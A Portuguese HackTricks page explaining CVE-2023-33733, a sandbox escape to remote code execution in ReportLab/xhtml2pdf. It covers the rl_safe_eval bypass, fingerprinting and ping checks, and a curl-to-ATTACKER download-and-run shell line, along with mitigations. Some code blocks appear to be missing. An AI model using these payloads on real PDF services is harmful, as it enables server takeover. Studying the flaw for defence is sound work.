ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Esta página documenta um escape prático de sandbox e um primitivo de RCE em rl_safe_eval do ReportLab usado por xhtml2pdf e outros pipelines de geração de PDF ao renderizar HTML controlado pelo usuário em PDFs.
CVE-2023-33733 afeta versões do ReportLab até e incluindo 3.6.12. Em certos contextos de atributo (por exemplo color), valores envoltos em triple brackets [[[ ... ]]] são avaliados no servidor por rl_safe_eval. Ao construir um payload que pivota de um builtin permitido (pow) para os globals da sua função Python, um atacante pode alcançar o módulo os e executar comandos.
Pontos-chave
- Gatilho: injete [[[ ... ]]] em atributos avaliados como dentro de marcação parseada pelo ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval substitui builtins perigosos mas funções avaliadas ainda expõem globals.
- Bypass: crie uma classe transitória Word para contornar as verificações de nome do rl_safe_eval e acessar a string "globals" enquanto evita o filtro de dunder bloqueado.
- RCE: getattr(pow, Word("globals"))["os"].system("
") - Estabilidade: retorne um valor válido para o atributo após a execução (para color, use and 'red').
Quando testar
- Aplicações que expõem a exportação HTML-to-PDF (perfis, faturas, relatórios) e que mostram xhtml2pdf/ReportLab em metadados do PDF ou comentários na resposta HTTP.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → produtor "xhtml2pdf"
- A resposta HTTP para o PDF frequentemente começa com um comentário do gerador ReportLab
Como o bypass da sandbox funciona
- rl_safe_eval remove ou substitui muitos builtins (getattr, type, pow, ...) e aplica filtragem de nomes para negar atributos que começam com __ ou que estão numa denylist.
- No entanto, funções "seguras" existem em um dicionário globals acessível como func.globals.
- Use type(type(1)) para recuperar a função builtin type real (contornando o wrapper do ReportLab), então defina uma classe Word derivada de str com comportamento de comparação mutado de modo que:
- .startswith('') → sempre False (contorna a verificação startswith(''))
- .eq retorna False apenas na primeira comparação (contorna as verificações de membership da denylist) e True depois (para que getattr do Python funcione)
- .hash igual a hash(str(self))
- Com isso, getattr(pow, Word('globals')) retorna o dict globals da função empacotada pow, que inclui um módulo os importado. Então: ['os'].system('
').
Padrão mínimo de exploração (exemplo em atributo) Coloque o payload dentro de um atributo avaliado e assegure que ele retorne um valor de atributo válido via boolean e 'red'.
- A forma por list-comprehension permite uma única expressão aceitável para rl_safe_eval.
- O sufixo and 'red' retorna uma cor CSS válida para que a renderização não quebre.
- Substitua o comando conforme necessário; use ping para validar a execução com tcpdump.
Fluxo operacional
- Identificar o gerador de PDF
- O Producer do PDF mostra xhtml2pdf; a resposta HTTP contém um comentário do ReportLab.
- Encontre uma entrada refletida no PDF (ex.: profile bio/description) e dispare uma exportação.
- Verifique a execução com ICMP de baixo ruído
- Run: sudo tcpdump -ni
icmp - Payload: ... system('ping <your_ip>') ...
- O Windows frequentemente envia exatamente quatro solicitações de echo por padrão.
- Estabelecer uma shell
- Para Windows, uma abordagem confiável em duas etapas evita problemas de quoting/encoding:
- Stage 1 (download):
- Stage 2 (execute):
- Para targets Linux, é possível um fluxo em duas etapas similar com curl/wget:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Notas e dicas
- Contextos de atributos: color é um atributo conhecido que é avaliado; outros atributos na marcação do ReportLab também podem avaliar expressões. Se um local for sanitizado, tente outros renderizados no fluxo do PDF (diferentes campos, estilos de tabela, etc.).
- Quoting: mantenha comandos compactos. Downloads em duas etapas reduzem drasticamente problemas de quoting e escaping.
- Confiabilidade: Se exports forem cacheados ou enfileirados, varie levemente o payload (ex.: caminho ou query aleatória) para evitar caches.
Mitigações e detecção
- Atualize o ReportLab para 3.6.13 ou posterior (CVE-2023-33733 corrigido). Acompanhe advisories de segurança em pacotes da distro também.
- Não alimente HTML/markup controlado pelo usuário diretamente no xhtml2pdf/ReportLab sem uma sanitização rigorosa. Remova/negue as construções de avaliação [[[...]]] e tags específicas do vendor quando a entrada for não confiável.
- Considere desabilitar ou envolver (wrap) o uso de rl_safe_eval inteiramente para entradas não confiáveis.
- Monitore por conexões outbound suspeitas durante a geração de PDFs (ex.: ICMP/HTTP a partir de servidores de aplicação ao exportar documentos).
Referências
- PoC e análise técnica: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (exploração no mundo real, payloads Windows em duas etapas): HTB: University
- Entrada NVD (versões afetadas): CVE-2023-33733
- xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.